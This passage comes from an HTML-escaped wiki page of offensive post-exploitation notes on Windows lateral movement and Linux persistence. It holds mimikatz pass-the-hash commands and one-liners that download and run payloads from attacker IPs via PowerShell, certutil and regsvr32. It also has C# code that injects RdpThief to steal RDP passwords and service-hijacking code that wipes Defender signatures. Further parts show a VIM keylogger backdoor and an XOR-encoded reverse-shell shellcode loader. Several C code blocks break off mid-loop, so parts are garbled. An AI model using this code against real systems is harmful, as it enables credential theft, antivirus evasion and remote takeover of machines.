&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
